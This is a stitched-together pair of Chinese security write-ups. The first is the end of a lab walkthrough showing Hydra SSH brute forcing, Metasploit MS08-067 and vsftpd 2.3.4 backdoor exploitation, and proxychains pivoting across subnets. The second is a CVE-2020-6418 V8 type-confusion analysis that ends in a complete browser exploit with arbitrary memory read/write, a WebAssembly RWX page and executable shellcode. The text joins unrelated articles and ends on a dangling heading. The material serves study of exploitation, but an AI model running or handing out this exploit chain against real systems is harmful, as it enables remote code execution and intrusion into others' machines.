Hydra v8.2 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (http://www.thc.org/thc-hydra) starting
[WARNING] Restorefile (./hydra.restore) from a previous session found, to prevent overwriting, you have 10 seconds to abort...
[DATA] max 4 tasks per 1 server, overall 64 tasks, 20 login tries (l:2/p:10), ~0 tries per task
[DATA] attacking service ssh on port 22
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
|S-chain|-<>-172.16.0.20:1080-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK<><>-OK<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
[22][ssh] host: 7.7.7.20 login: admin password: 123456
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
|S-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished
root@kali:~#
发现有可用帐户密码admin:123456,然后再用sock4代理ssh登录:
root@kali:~# proxychains ssh [email protected]
ProxyChains-3.1 (http://proxychains.sf.net)
|D-chain|-<>-172.16.0.20:1080-<><>-7.7.7.20:22-<><>-OK
The authenticity of host '7.7.7.20 (7.7.7.20)' can't be established.
ECDSA key fingerprint is SHA256:Rcz2KrPF3BTo16Ng1kET91ycbr9c8vOkZcZ6b4VawMQ.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '7.7.7.20' (ECDSA) to the list of known hosts.
[email protected]'s password:
bvshell:/C/Documents and Settings/All Users$ pwd
/C/Documents and Settings/All Users
bvshell:/C/Documents and Settings/All Users$ dir
2016-12-24 21:32 <DIR> Application Data
2016-12-25 06:16 <DIR> Desktop
2016-12-24 18:36 <DIR> Documents
2016-12-24 18:37 <DIR> DRM
2016-12-24 21:32 <DIR> Favorites
2016-12-24 18:38 <DIR> Start Menu
2016-12-24 21:32 <DIR> Templates
0 Files 0 bytes
7 Directories
bvshell:/C/Documents and Settings/All Users$
或者用ms08067:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- ----------- RHOST yes The target address
RPORT 445 yes The SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ---- 0 Automatic Targeting
msf exploit(ms08_067_netapi) > set rhost 7.7.7.20rhost => 7.7.7.20msf exploit(ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name Current Setting Required Description
---- --------------- -------- ----------- RHOST 7.7.7.20 yes The target address
RPORT 445 yes The SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- ----------- EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 7.7.7.20 no The target address
Exploit target:
Id Name
-- ---- 0 Automatic Targeting
msf exploit(ms08_067_netapi) > run
[*] Started bind handler
[*] 7.7.7.20:445 - Automatically detecting the target...
[*] 7.7.7.20:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 7.7.7.20:445 - We could not detect the language pack, defaulting to English
[*] 7.7.7.20:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 7.7.7.20:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 7.7.7.20[*] Meterpreter session 2 opened (172.16.0.20-172.16.0.11:0 -> 7.7.7.20:4444)
meterpreter >
成功溢出getshell后查看JC(7.7.7.20)网卡信息:
meterpreter > ipconfigInterface 1============Name : MS TCP Loopback interfaceHardware MAC : 00:00:00:00:00:00MTU : 1520IPv4 Address : 127.0.0.1Interface 65539============Name : Intel(R) PRO/1000 MT Desktop AdapterHardware MAC : 08:00:27:29:cd:cbMTU : 1500IPv4 Address : 8.8.8.3IPv4 Netmask : 255.255.255.0Interface 65540============Name : Intel(R) PRO/1000 MT Desktop Adapter #2Hardware MAC : 08:00:27:e3:47:43MTU : 1500IPv4 Address : 7.7.7.20IPv4 Netmask : 255.255.255.0meterpreter >
发现又出现一个8.8.8.x的网段,于是将这个网段添加路由,以便msf中的模块可以访问到8.8.8.x网段.
**0x03 Step3**
先直接用新的meterpreter shell看看8.8.8.x这个网段有什么机器
meterpreter > run post/windows/gather/arp_scanner RHOSTS=8.8.8.0/24[*] Running module against SRV03[*] ARP Scanning 8.8.8.0/24[*] IP: 8.8.8.3 MAC 08:00:27:29:cd:cb (CADMUS COMPUTER SYSTEMS)[*] IP: 8.8.8.1 MAC 0a:00:27:00:00:03 (UNKNOWN)[*] IP: 8.8.8.9 MAC 08:00:27:56:f1:7c (CADMUS COMPUTER SYSTEMS)[*] IP: 8.8.8.13 MAC 08:00:27:13:a3:b1 (CADMUS COMPUTER SYSTEMS)
为了让msf中所有模块都能访问到8.8.8.x网段,在新的meterpreter会话中添加路由:
meterpreter > run autoroute -s 8.8.8.0/24[*] Adding a route to 8.8.8.0/255.255.255.0...[+] Added route to 8.8.8.0/255.255.255.0 via 7.7.7.20[*] Use the -p option to list all active routes
为了让Attacker的除了msf模块以外的其他应用程序能访问到8.8.8.x网段,再使用msf的开启sock4代理的模块开启另外一个端口
作为8.8.8.x网段的入口:
msf exploit(ms08_067_netapi) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options
Module options (auxiliary/server/socks4a):
Name Current Setting Required Description
---- --------------- -------- ----------- SRVHOST 172.16.0.20 yes The address to listen on
SRVPORT 1080 yes The port to listen on.
Auxiliary action:
Name Description
---- ----------- Proxy
msf auxiliary(socks4a) > set SRVPORT 1081SRVPORT => 1081msf auxiliary(socks4a) > run
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server
msf auxiliary(socks4a) >
也即现在Attacker本地的1080端口的代理可以访问到7.7.7.x网段,1081端口的代理可以访问到8.8.8.x网段,然后将新开的端口
添加到proxychains的配置文件中:
root@kali:~# cat /etc/proxychains.conf | grep -v "#"dynamic_chainproxy_dns tcp_read_time_out 15000tcp_connect_time_out 8000socks4 172.16.0.20 1080 # First Pivotsocks4 172.16.0.20 1081 # Second Pivot
上面的两个代理相当于扇门的钥匙,172.16.0.20:1080是7.7.7.x的钥匙,172.16.0.20:1081是7.7.7.x后面的8.8.8.x的钥匙
,Attacker要想访问到8.8.8.x可以通过先打开7.7.7.x的门,再打开8.8.8.x的门(因为8.8.8.x这个门在7.7.7.x这个门之后)
使用Attacker本地的nmap扫描下8.8.8.x网段:
root@kali:~# proxychains nmap -sT -sV -p21,22,23,80 8.8.8.9 -n -Pn -vvProxyChains-3.1 (http://proxychains.sf.net)Starting Nmap 7.25BETA1 ( https://nmap.org )Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).NSE: Loaded 36 scripts for scanning.
Initiating Connect Scan
Scanning 8.8.8.9 [4 ports]
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK
Discovered open port 21/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK
Discovered open port 23/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK
Discovered open port 22/tcp on 8.8.8.9|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
Discovered open port 80/tcp on 8.8.8.9Completed Connect Scan at 05:54, 1.37s elapsed (4 total ports)Initiating Service scan at 05:54
Scanning 4 services on 8.8.8.9
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:21-<><>-OK
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:22-<><>-OK
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:23-<><>-OK
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
Completed Service scan at 05:54, 11.09s elapsed (4 services on 1 host)NSE: Script scanning 8.8.8.9.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 05:54
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
|D-chain|-<>-172.16.0.20:1080-<>-172.16.0.20:1081-<><>-8.8.8.9:80-<><>-OK
Completed NSE at 05:54, 1.71s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 05:54
Completed NSE at 05:54, 0.00s elapsed
Nmap scan report for 8.8.8.9
Host is up, received user-set (0.41s latency).
Scanned
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 2.3.4
22/tcp open ssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)23/tcp open telnet syn-ack Linux telnetd
80/tcp open http syn-ack Apache httpd 2.2.8 ((Ubuntu) DAV/2)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 14.59 seconds
root@kali:~#
发现8.8.8.9(SK)这台机器可能有漏洞,用msf模块尝试getshell:
msf > msf > use exploit/unix/ftp/vsftpd_234_backdoor msf exploit(vsftpd_234_backdoor) > show options Module options (exploit/unix/ftp/vsftpd_234_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 21 yes The target portExploit target: Id Name -- ---- 0 Automaticmsf exploit(vsftpd_234_backdoor) > set rhost 8.8.8.9rhost => 8.8.8.9msf exploit(vsftpd_234_backdoor) > run[*] 8.8.8.9:21 - Banner: 220 (vsFTPd 2.3.4)[*] 8.8.8.9:21 - USER: 331 Please specify the password.[+] 8.8.8.9:21 - Backdoor service has been spawned, handling...[+] 8.8.8.9:21 - UID: uid=0(root) gid=0(root)[*] Found shell.[*] Command shell session 4 opened (Local Pipe -> Remote Pipe) pwd/iduid=0(root) gid=0(root)ifconfigeth0 Link encap:Ethernet HWaddr 08:00:27:56:f1:7c inet addr:8.8.8.9 Bcast:8.8.8.255 Mask:255.255.255.0 inet6 addr: fe80::a00:27ff:fe56:f17c/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:10843 errors:0 dropped:0 overruns:0 frame:0 TX packets:2779 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:1081842 (1.0 MB) TX bytes:661455 (645.9 KB) Base address:0xd010 Memory:f0000000-f0020000 lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:18161 errors:0 dropped:0 overruns:0 frame:0 TX packets:18161 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:5307479 (5.0 MB) TX bytes:5307479 (5.0 MB) | 社区文章 |
# CVE-2020-6418 分析与利用
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 漏洞信息
分支：bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07
成因：JIT优化过程中对操作的副作用推断错误导致可能的类型混淆
## 漏洞分析
看diff文件，diff文件很短，就加了一句。
index f43a348..ab4ced6 100644
--- a/src/compiler/node-properties.cc
+++ b/src/compiler/node-properties.cc
@@ -386,6 +386,7 @@
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
+ result = kUnreliableReceiverMaps; // JSCreate can have side-effect.
break;
}
case IrOpcode::kJSCreatePromise: {
就加了一个result，表示把这个节点标记为类型不可信的节点。
具体是为什么，首先要看看v8的一个inlining优化过程
inlining优化过程中，会对buildin函数的调用进行优化，减少函数调用到最少。
这个优化有两步，第一步是对那些对周围信息依赖比较少，且能对后面的优化提供便利的函数，会先调用ReduceJSCall来优化，然后是第二步对那些具有强依赖的函数进行优化。
这里我们关注第一步，也就是ReduceJSCall，它的源码：
// compiler/js-call-reducer.cc:3906
Reduction JSCallReducer::ReduceJSCall(Node* node,
const SharedFunctionInfoRef& shared) {
DCHECK_EQ(IrOpcode::kJSCall, node->opcode());
Node* target = NodeProperties::GetValueInput(node, 0);
// Do not reduce calls to functions with break points.
if (shared.HasBreakInfo()) return NoChange();
// Raise a TypeError if the {target} is a "classConstructor".
if (IsClassConstructor(shared.kind())) {
NodeProperties::ReplaceValueInputs(node, target);
NodeProperties::ChangeOp(
node, javascript()->CallRuntime(
Runtime::kThrowConstructorNonCallableError, 1));
return Changed(node);
}
// Check for known builtin functions.
int builtin_id =
shared.HasBuiltinId() ? shared.builtin_id() : Builtins::kNoBuiltinId;
switch (builtin_id) {
case Builtins::kArrayConstructor:
return ReduceArrayConstructor(node);
...
case Builtins::kReflectConstruct:
return ReduceReflectConstruct(node);
...
case Builtins::kArrayPrototypePop:
return ReduceArrayPrototypePop(node);
它会通过builtin_id来确定调用哪个reduce函数
这里在优化的时候，它会在优化时确定操作对象的类型，以此来快速确定用什么方法处理。这就需要用一个方法来确定函数执行的时候对象具体是什么类型
v8确定对象类型用的是MapInference这个属性，在优化的时候检查传入的map和对象的effect，如果effect确定map可靠，就不再做类型检查，直接按最初的类型做调用，否则就需要类型检查了。
// compiler/map-inference.h:25
// The MapInference class provides access to the "inferred" maps of an
// {object}. This information can be either "reliable", meaning that the object
// is guaranteed to have one of these maps at runtime, or "unreliable", meaning
// that the object is guaranteed to have HAD one of these maps.
//
// The MapInference class does not expose whether or not the information is
// reliable. A client is expected to eventually make the information reliable by
// calling one of several methods that will either insert map checks, or record
// stability dependencies (or do nothing if the information was already
// reliable).
// compiler/map-inference.cc:18
MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect)
: broker_(broker), object_(object) {
ZoneHandleSet<Map> maps;
auto result =
NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &maps);
maps_.insert(maps_.end(), maps.begin(), maps.end());
maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps)
? kUnreliableDontNeedGuard
: kReliableOrGuarded;
DCHECK_EQ(maps_.empty(), result == NodeProperties::kNoReceiverMaps);
}
在确定map是否有效时，会调用InferReceiverMapsUnsafe函数，也就是它patch的函数。这个函数会遍历输入对象的effect链，查看链上的每一个节点是否会产生副作用
// compiler/node-properties.cc:337
// static
NodeProperties::InferReceiverMapsResult NodePperts::InferReceiverMapsUnsafe(
JSHeapBroker* broker, Node* receiver, Node* effect,
ZoneHandleSet<Map>* maps_return) {
HeapObjectMatcher m(receiver);
if (m.HasValue()) {
HeapObjectRef receiver = m.Ref(broker);
// We don't use ICs for the Array.prototype and the Object.prototype
// because the runtime has to be able to intercept them properly, so
// we better make sure that TurboFan doesn't outsmart the system here
// by storing to elements of either prototype directly.
//
// TODO(bmeurer): This can be removed once the Array.prototype and
// Object.prototype have NO_ELEMENTS elements kind.
if (!receiver.IsJSObject() ||
!broker->IsArrayOrObjectPrototype(receiver.AsJSObject())) {
if (receiver.map().is_stable()) {
// The {receiver_map} is only reliable when we install a stability
// code dependency.
*maps_return = ZoneHandleSet<Map>(receiver.map().object());
return kUnreliableReceiverMaps;
}
}
}
InferReceiverMapsResult result = kReliableReceiverMaps;
while (true) {
switch (effect->opcode()) {
case IrOpcode::kMapGuard: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = MapGuardMapsOf(effect->op());
return result;
}
break;
}
case IrOpcode::kCheckMaps: {
Node* const object = GetValueInput(effect, 0);
if (IsSame(receiver, object)) {
*maps_return = CheckMapsParametersOf(effect->op()).maps();
return result;
}
break;
}
case IrOpcode::kJSCreate: {
if (IsSame(receiver, effect)) {
base::Optional<MapRef> initial_map = GetJSCreateMap(broker, receiver);
if (initial_map.has_value()) {
*maps_return = ZoneHandleSet<Map>(initial_map->object());
return result;
}
// We reached the allocation of the {receiver}.
return kNoReceiverMaps;
}
break;
}
default: {
DCHECK_EQ(1, effect->op()->EffectOutputCount());
if (effect->op()->EffectInputCount() != 1) {
// Didn't find any appropriate CheckMaps node.
return kNoReceiverMaps;
}
if (!effect->op()->HasProperty(Operator::kNoWrite)) {
// Without alias/escape analysis we cannot tell whether this
// {effect} affects {receiver} or not.
result = kUnreliableReceiverMaps;
}
break;
...
// Stop walking the effect chain once we hit the definition of
// the {receiver} along the {effect}s.
if (IsSame(receiver, effect)) return kNoReceiverMaps;
// Continue with the next {effect}.
DCHECK_EQ(1, effect->op()->EffectInputCount());
effect = NodeProperties::GetEffectInput(effect);
}
}
总的来说，一个高优先级的builtin函数的优化过程大致如下：
1、得到函数对应节点的value、effect和control输入
2、调用MapInference来获取对象的map来确定类型，如果没有就不优化。
3、调用RelyOnMapsPreferStability，来查看获取的类型是否可靠，如果可靠就不会进行类型检查。这里的可靠与否就是通过前面的InferReceiverMapsUnsafe的返回值来判断，如果是kUnreliableReceiverMaps就不可靠，否则可靠
4、通过类型信息判断如何执行相应的函数指令
而这个漏洞成因，就在patch的那一段中，它patch了kJSCreate类型节点的返回值，认为其是不可靠的，而漏洞版本中则认为它可靠。这里的问题就在于，在可以转换成kJSCreate类型节点的函数Reflect.construct中，可以接收一个proxy对象作为参数，通过在对象中重定义回调函数的方式可以对对象的类型进行转换，使得优化之后，产生的函数操作类型与对象是不同的，就产生了一个类型混淆的漏洞。
google提供的poc：
// Copyright 2020 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
// Flags: --allow-natives-syntax
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
poc的关键在于那个f函数。他在a对象的pop函数中嵌套了Reflect.construct函数，这个函数的作用为运行第一个参数对应是想要运行的函数，以第二个参数为函数的参数，第三个是可选的，作为第一个的构造函数使用。它这个proxy替换了()方法，这个empty函数在被Reflect.construct调用的时候，由于是用的proxy作为constructor，它的()对应的是修改a的类型为浮点数的功能，然后在触发优化之后，由于上面的漏洞，这里的pop调用的仍然是SMI的pop，只会弹出四个字节，而这个数组实际上已经是以八个字节为单位了，就会出现问题，在debug版的d8下后面使用a数组的时候就会报未对齐的错误。
## 漏洞利用
### 构造越界数组
既然我们可以用这个漏洞来使一个浮点数组调用整形数组的pop，我们也可以让一个整形数组调用浮点数组的push，来做到越界写一个值，通过调整数组大小，我们可以让这个值覆盖到下一个数组的length位，构造一个越界数组。
相关代码如下：
let a = [1.1,,,,,,,,,,,,,,,2.2,3.3,4.4]
let oobarray;
let arbarray;
a.pop();
a.pop();
a.pop();
function empty() {};
function f(p)
{
a.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy?0.2:156842065920.05);
for(let i = 0;i<0x3003;i++){empty()};
}
let p = new Proxy(Object, {
get: function() {
a[0] = {};
oobarray = [1.1];
arbarray = new BigUint64Array(8);
arbarray[0] = 0x1111111111111111n;
arbarray[1] = 0x2222222222222222n;
arbarray[2] = 0x3333333333333333n;
arbarray[3] = 0x4444444444444444n;
return Object.prototype;
}
});
function exp(nt)
{
for(let i = 0;i<0x3003;i++)empty();
f(nt);
}
exp(empty);
exp(empty);
exp(p);
console.log(oobarray.length);
通过构造数组长度，覆盖oobarray的length位，使得oobarray能够越界读写。这里使用exp函数作为壳的原因为在优化的时候，如果不套这一层，不会产生JSCreate节点。
后面就是利用oobarray构造任意地址读写
这里构造任意地址读写用的是UInt64Array，因为这个版本下存在指针压缩，用这个可以做到获取指针压缩下的高位地址，而且修改它的base
ptr和external ptr可以做到任意地址写，修改len可以修改写入的长度。
通过调试可以得到oobarray的数组头距离我们需要修改的三个值的偏移，不一定相同。
function ByteToBigIntArray(payload) //用来把字节转换成BigInt数组，所以任意写入的数据要用字节的方式表示
{
let sc = []
let tmp = 0n;
let lenInt = BigInt(Math.floor(payload.length/8))
for (let i = 0n; i < lenInt; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
}
sc.push(tmp);
}
let len = payload.length%8;
tmp = 0n;
for(let i=0n; i<len; i++){
tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
}
sc.push(tmp);
return sc;
}
function arbWrite(addr,buf)
{
sc = ByteToBigIntArray(buf);
oobarray[22] = mem.i2f(BigInt(sc.length));
oobarray[23] = mem.i2f(comphigh);
oobarray[24] = mem.i2f(addr);
for(let i = 0; i < sc.length; i++)
{
arbarray[i] = sc[i];
}
}
function arbWrite_nocomp(addr,buf)
{
sc = ByteToBigIntArray(buf);
oobarray[22] = mem.i2f(BigInt(sc.length));
oobarray[23] = mem.i2f(addr);
oobarray[24] = mem.i2f(0n);
for(let i = 0; i < sc.length; i++)
{
arbarray[i] = sc[i];
}
}
function arbRead(addr)
{
if(istagged(addr))
{
addr -= 1n;
}
oobarray[23] = mem.i2f(comphigh);
oobarray[24] = mem.i2f(addr);
let result = arbarray[0];
return result;
}
function arbRead_nocomp(addr)
{
if(istagged(addr))
{
addr -= 1n;
}
oobarray[23] = mem.i2f(addr);
oobarray[24] = mem.i2f(0n);
let result = arbarray[0];
return result;
}
在取址的时候，baseptr取的是64位，external ptr取32位，直接把base ptr改成目标地址，external
ptr改成0就能做到无视指针压缩。而我们读取到的地址一般都只有低32位，所以这里也写了有指针压缩版的任意地址读写。
有了任意地址读写，我们还需要泄露对象地址来做shellcode的执行，这里我们使用一个对象数组，通过越界读取其存储的指针来获取对象地址。
let p = new Proxy(Object, {
get: function() {
a[0] = {};
oobarray = [1.1];
arbarray = new BigUint64Array(8);
arbarray[0] = 0x1111111111111111n;
arbarray[1] = 0x2222222222222222n;
arbarray[2] = 0x3333333333333333n;
arbarray[3] = 0x4444444444444444n;
objleaker = {
a : 0xc00c, //标志，用于调试的时候方便找到目标
b : oobarray //这里后面替换成需要泄露地址的对象
}
return Object.prototype;
}
});
function addrof(obj)
{
objleaker.b = obj;
let result = mem.f2i(oobarray[28])>>32n; //我们需要的地址只占读出来的高32位
return result;
}
有了任意地址读写和地址泄露，就可以通过wasm对象来创建RWX页，然后写入shellcode执行
RWX的地址存放的地方需要通过调试确定，方法为先确定wasm
instance的地址，然后在它下面寻找RWX页的地址，一般偏移不会太大，我这里是+0x68的位置。RWX页地址具体是多少可以用vmmap查看。
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f2 = wasm_instance.exports.main;
let instance_addr = addrof(wasm_instance);
console.log("[*]instance addr ==> "+hex(instance_addr));
let rwxaddr = arbRead(instance_addr+0x68n);
console.log("[*]RWX page ==> "+hex(rwxaddr));
let shellcode=[72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
arbWrite_nocomp(rwxaddr,shellcode);
f2();
## 完整EXP:
function hex(i)
{
return '0x'+i.toString(16).padStart(16, "0");
}
class Memory{
constructor()
{
this.buf = new ArrayBuffer(16);
this.f64 = new Float64Array(this.buf);
this.i64 = new BigUint64Array(this.buf);
}
f2i(val)
{
this.f64[0] = val;
return this.i64[0];
}
i2f(val)
{
this.i64[0] = val;
return this.f64[0];
}
}
let mem = new Memory();
let a = [1.1,,,,,,,,,,,,,,,2.2,3.3,4.4]
let oobarray;
let arbarray;
let objleaker;
a.pop();
a.pop();
a.pop();
ITERATIONS = 10000;
TRIGGER = false;
function empty() {};
function f(p) {
a.push(typeof(Reflect.construct(empty, arguments, p)) === Proxy?0.2:156842065920.05);
for(let i = 0;i<0x3003;i++){empty()};
}
let p = new Proxy(Object, {
get: function() {
a[0] = {};
oobarray = [1.1];
arbarray = new BigUint64Array(8);
arbarray[0] = 0x1111111111111111n;
arbarray[1] = 0x2222222222222222n;
arbarray[2] = 0x3333333333333333n;
arbarray[3] = 0x4444444444444444n;
objleaker = {
a : 0xc00c,
b : oobarray
}
return Object.prototype;
}
});
function exp(nt)
{
for(let i = 0;i<0x3003;i++)empty();
f(nt);
}
exp(empty);
exp(empty);
exp(p);
let len = mem.f2i(oobarray[22]);
let baseptr = mem.f2i(oobarray[23]);
let exptr = mem.f2i(oobarray[24]);
let comphigh = baseptr & 0xffffffff00000000n;
console.log("[*]array len ==> "+hex(len));
console.log("[*]array baseptr ==> "+hex(baseptr));
console.log("[*]array exptr ==> "+hex(exptr));
console.log("[*]high addr ==> "+hex(comphigh));
function addrof(obj)
{
objleaker.b = obj;
let result = mem.f2i(oobarray[28])>>32n;
return result;
}
function istagged(addr)
{
let tmp = Number(addr);
if(tmp & 1 != 0)
{
return true;
}
return false;
}
function ByteToBigIntArray(payload)
{
let sc = []
let tmp = 0n;
let lenInt = BigInt(Math.floor(payload.length/8))
for (let i = 0n; i < lenInt; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
}
sc.push(tmp);
}
let len = payload.length%8;
tmp = 0n;
for(let i=0n; i<len; i++){
tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
}
sc.push(tmp);
return sc;
}
function arbWrite(addr,buf)
{
sc = ByteToBigIntArray(buf);
oobarray[22] = mem.i2f(BigInt(sc.length));
oobarray[23] = mem.i2f(comphigh);
oobarray[24] = mem.i2f(addr);
for(let i = 0; i < sc.length; i++)
{
arbarray[i] = sc[i];
}
}
function arbWrite_nocomp(addr,buf)
{
sc = ByteToBigIntArray(buf);
oobarray[22] = mem.i2f(BigInt(sc.length));
oobarray[23] = mem.i2f(addr);
oobarray[24] = mem.i2f(0n);
for(let i = 0; i < sc.length; i++)
{
arbarray[i] = sc[i];
}
}
function arbRead(addr)
{
if(istagged(addr))
{
addr -= 1n;
}
oobarray[23] = mem.i2f(comphigh);
oobarray[24] = mem.i2f(addr);
let result = arbarray[0];
return result;
}
function arbRead_nocomp(addr)
{
if(istagged(addr))
{
addr -= 1n;
}
oobarray[23] = mem.i2f(addr);
oobarray[24] = mem.i2f(0n);
let result = arbarray[0];
return result;
}
let wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasm_mod = new WebAssembly.Module(wasm_code);
let wasm_instance = new WebAssembly.Instance(wasm_mod);
let f2 = wasm_instance.exports.main;
let instance_addr = addrof(wasm_instance);
console.log("[*]instance addr ==> "+hex(instance_addr));
let rwxaddr = arbRead(instance_addr+0x68n);
console.log("[*]RWX page ==> "+hex(rwxaddr));
let shellcode=[72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
arbWrite_nocomp(rwxaddr,shellcode);
f2(); | 社区文章 |
# 前言
